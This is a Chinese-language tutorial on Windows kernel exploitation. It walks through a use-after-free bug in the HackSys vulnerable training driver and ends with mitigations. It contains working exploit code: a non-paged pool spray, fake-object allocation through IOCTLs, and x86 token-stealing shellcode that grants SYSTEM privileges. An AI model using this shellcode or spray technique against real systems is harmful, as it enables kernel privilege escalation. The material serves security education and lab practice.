《 Windows Kernel Pwn 101 》
字数 1692 2025-08-24 07:48:09

Windows Kernel Pwn 101 - Use-After-Free漏洞分析与利用

1. Windows内核基础概念

1.1 进程与线程

  • 进程(Process): 计算机系统中正在运行的程序的实例,拥有独立的内存空间和系统资源

    • 每个进程有唯一的进程ID(PID)
    • 进程可以包含一个或多个线程
    • 进程间通过进程间通信机制(IPC)进行数据交换
  • 线程(Thread): 进程中的执行单元

    • 共享进程的内存空间和系统资源
    • 操作系统调度的基本单位
    • 提高程序的并发性和响应性

1.2 内存管理

  • 分页池(Paged Pool): 可分页的内存区域,允许操作系统将页面交换到磁盘

    • 适用于较大的数据结构(如文件系统缓存)
    • 大小受物理内存和分页文件限制
  • 非分页池(Non-Paged Pool): 不可分页的内存区域,始终保持在物理内存中

    • 适用于内核数据结构和全局变量
    • 分配的内存是固定的,访问速度更快
    • 用于存储不希望出现在磁盘上的数据

1.3 I/O管理与驱动程序

  • I/O管理: 协调输入输出设备的数据传输

    • 通过设备驱动程序管理设备
    • 使用I/O请求包(IRP)进行通信
    • 包含中断处理和DMA操作
  • 驱动程序: 控制硬件设备的特殊软件

    • 通过操作硬件寄存器、内存映射等方式与硬件交互
    • 主要结构包括:
      • 驱动程序对象(Driver Object)
      • 设备对象(Device Object)
      • IRP对象

2. 关键数据结构

2.1 进程和线程数据结构

  • EPROCESS结构: 包含进程的基本信息和线程列表
  • ETHREAD结构: 表示线程的信息(状态、优先级、堆栈指针等)

2.2 内存管理数据结构

  • POOL_HEADER结构: 表示内存块的基本信息(大小、使用情况等)
  • 内存分配/释放函数:
    • ExAllocatePoolWithTag
    • ExFreePoolWithTag

2.3 驱动程序结构

  • 驱动程序对象: 驱动程序的入口点和特定信息
  • 设备对象: 驱动程序与设备间的接口
  • IRP对象: 表示I/O请求的结构
    • 包含请求类型、缓冲区指针、状态等信息
    • 通过IOCTL(Input/Output Control)机制与用户空间通信

3. Use-After-Free漏洞分析

3.1 漏洞原理

  • 释放后重用(Use-After-Free): 程序释放内存后仍使用原指针
  • 类比:
    • 房子(对象)被拆除(释放内存)
    • 钥匙(指针)未被销毁
    • 用钥匙访问原地址可能访问到新建筑(不同数据)

3.2 漏洞代码分析

// 全局指针
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;

NTSTATUS AllocateUaFObject() {
    PUSE_AFTER_FREE UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(
        NonPagedPool, sizeof(USE_AFTER_FREE), (ULONG)POOL_TAG);
    g_UseAfterFreeObject = UseAfterFree;  // 全局指针指向分配的内存
    // ... 其他初始化代码 ...
}

NTSTATUS FreeUaFObject() {
    ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
    // 漏洞点: 未将g_UseAfterFreeObject置为NULL
}

NTSTATUS UseUaFObject() {
    if (g_UseAfterFreeObject->Callback) {
        g_UseAfterFreeObject->Callback();  // 使用已释放的内存
    }
}

3.3 漏洞利用条件

  1. 分配UAF对象
  2. 释放UAF对象但不置空指针
  3. 分配伪造对象占据原内存空间
  4. 通过原指针使用UAF对象(实际调用伪造对象的回调函数)

4. 漏洞利用技术

4.1 非分页池堆喷(Non-Paged Pool Spray)

  • 目的: 控制内存布局,提高伪造对象覆盖UAF对象的概率
  • 步骤:
    1. 分配大量0x58大小的对象(IoCompletionReserve)
    2. 释放部分对象创建"空洞"
    3. UAF对象分配时填充这些空洞
    4. 释放UAF对象后,用伪造对象填充空洞

4.2 关键利用代码

// 1. 堆喷填充非分页池
auto handles = spray_pool(poolAllocs);

// 2. 创建空洞(释放部分对象)
for (int i = 0; i < handles.second.size(); i++) {
    if (i % 2) {
        CloseHandle(handles.second[i]);
        handles.second[i] = NULL;
    }
}

// 3. 分配UAF对象
DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT, ...);

// 4. 释放UAF对象
DeviceIoControl(dev, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT, ...);

// 5. 分配伪造对象
BYTE payloadBuffer[0x58] = {0};
memcpy(payloadBuffer, &shellcode_addr, 4);  // 设置回调函数指针
for (int i = 0; i < handles.second.size() / 2; i++) {
    DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT, 
                   payloadBuffer, sizeof(payloadBuffer), ...);
}

// 6. 触发UAF
DeviceIoControl(dev, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT, ...);

4.3 Shellcode构造

"\x60"                            // pushad
"\x64\xA1\x24\x01\x00\x00"        // mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50"                    // mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1"                        // mov ecx, eax (Current _EPROCESS)
"\x8B\x98\xF8\x00\x00\x00"        // mov ebx, [eax + TOKEN_OFFSET]
"\xBA\x04\x00\x00\x00"            // mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00"        // mov eax, [eax + FLINK_OFFSET] 
"\x2D\xB8\x00\x00\x00"            // sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00"        // cmp [eax + PID_OFFSET], edx
"\x75\xED"                        // jnz 
"\x8B\x90\xF8\x00\x00\x00"        // mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00"        // mov [ecx + TOKEN_OFFSET], edx
"\x61"                            // popad
"\xC3"                            // ret

5. 完整利用步骤

  1. 初始化通信: 获取驱动程序句柄
  2. 内存布局准备:
    • 使用NtAllocateReserveObject进行堆喷
    • 释放部分对象创建空洞
  3. UAF对象操作:
    • 分配UAF对象
    • 释放UAF对象(保留悬空指针)
  4. 伪造对象分配:
    • 分配包含恶意shellcode地址的伪造对象
    • 填充释放的内存空洞
  5. 触发漏洞:
    • 通过原指针调用UAF对象的回调函数
    • 实际执行shellcode(提权)
  6. 生成Shell: 创建system权限的cmd.exe

6. 防御措施

  1. 安全编码实践:
    • 释放内存后立即置空指针
    • 使用安全的内存管理函数
  2. 缓解技术:
    • 启用池内存保护(Pool Memory Protection)
    • 使用安全非分页池(Secure Non-Paged Pool)
    • 启用控制流防护(CFG)
  3. 检测方法:
    • 静态分析检测悬空指针
    • 动态分析监控异常内存访问
Windows Kernel Pwn 101 - Use-After-Free漏洞分析与利用 1. Windows内核基础概念 1.1 进程与线程 进程(Process) : 计算机系统中正在运行的程序的实例,拥有独立的内存空间和系统资源 每个进程有唯一的进程ID(PID) 进程可以包含一个或多个线程 进程间通过进程间通信机制(IPC)进行数据交换 线程(Thread) : 进程中的执行单元 共享进程的内存空间和系统资源 操作系统调度的基本单位 提高程序的并发性和响应性 1.2 内存管理 分页池(Paged Pool) : 可分页的内存区域,允许操作系统将页面交换到磁盘 适用于较大的数据结构(如文件系统缓存) 大小受物理内存和分页文件限制 非分页池(Non-Paged Pool) : 不可分页的内存区域,始终保持在物理内存中 适用于内核数据结构和全局变量 分配的内存是固定的,访问速度更快 用于存储不希望出现在磁盘上的数据 1.3 I/O管理与驱动程序 I/O管理 : 协调输入输出设备的数据传输 通过设备驱动程序管理设备 使用I/O请求包(IRP)进行通信 包含中断处理和DMA操作 驱动程序 : 控制硬件设备的特殊软件 通过操作硬件寄存器、内存映射等方式与硬件交互 主要结构包括: 驱动程序对象(Driver Object) 设备对象(Device Object) IRP对象 2. 关键数据结构 2.1 进程和线程数据结构 EPROCESS结构 : 包含进程的基本信息和线程列表 ETHREAD结构 : 表示线程的信息(状态、优先级、堆栈指针等) 2.2 内存管理数据结构 POOL_ HEADER结构 : 表示内存块的基本信息(大小、使用情况等) 内存分配/释放函数: ExAllocatePoolWithTag ExFreePoolWithTag 2.3 驱动程序结构 驱动程序对象 : 驱动程序的入口点和特定信息 设备对象 : 驱动程序与设备间的接口 IRP对象 : 表示I/O请求的结构 包含请求类型、缓冲区指针、状态等信息 通过IOCTL(Input/Output Control)机制与用户空间通信 3. Use-After-Free漏洞分析 3.1 漏洞原理 释放后重用(Use-After-Free) : 程序释放内存后仍使用原指针 类比: 房子(对象)被拆除(释放内存) 钥匙(指针)未被销毁 用钥匙访问原地址可能访问到新建筑(不同数据) 3.2 漏洞代码分析 3.3 漏洞利用条件 分配UAF对象 释放UAF对象但不置空指针 分配伪造对象占据原内存空间 通过原指针使用UAF对象(实际调用伪造对象的回调函数) 4. 漏洞利用技术 4.1 非分页池堆喷(Non-Paged Pool Spray) 目的 : 控制内存布局,提高伪造对象覆盖UAF对象的概率 步骤 : 分配大量0x58大小的对象(IoCompletionReserve) 释放部分对象创建"空洞" UAF对象分配时填充这些空洞 释放UAF对象后,用伪造对象填充空洞 4.2 关键利用代码 4.3 Shellcode构造 5. 完整利用步骤 初始化通信 : 获取驱动程序句柄 内存布局准备 : 使用 NtAllocateReserveObject 进行堆喷 释放部分对象创建空洞 UAF对象操作 : 分配UAF对象 释放UAF对象(保留悬空指针) 伪造对象分配 : 分配包含恶意shellcode地址的伪造对象 填充释放的内存空洞 触发漏洞 : 通过原指针调用UAF对象的回调函数 实际执行shellcode(提权) 生成Shell : 创建system权限的cmd.exe 6. 防御措施 安全编码实践 : 释放内存后立即置空指针 使用安全的内存管理函数 缓解技术 : 启用池内存保护(Pool Memory Protection) 使用安全非分页池(Secure Non-Paged Pool) 启用控制流防护(CFG) 检测方法 : 静态分析检测悬空指针 动态分析监控异常内存访问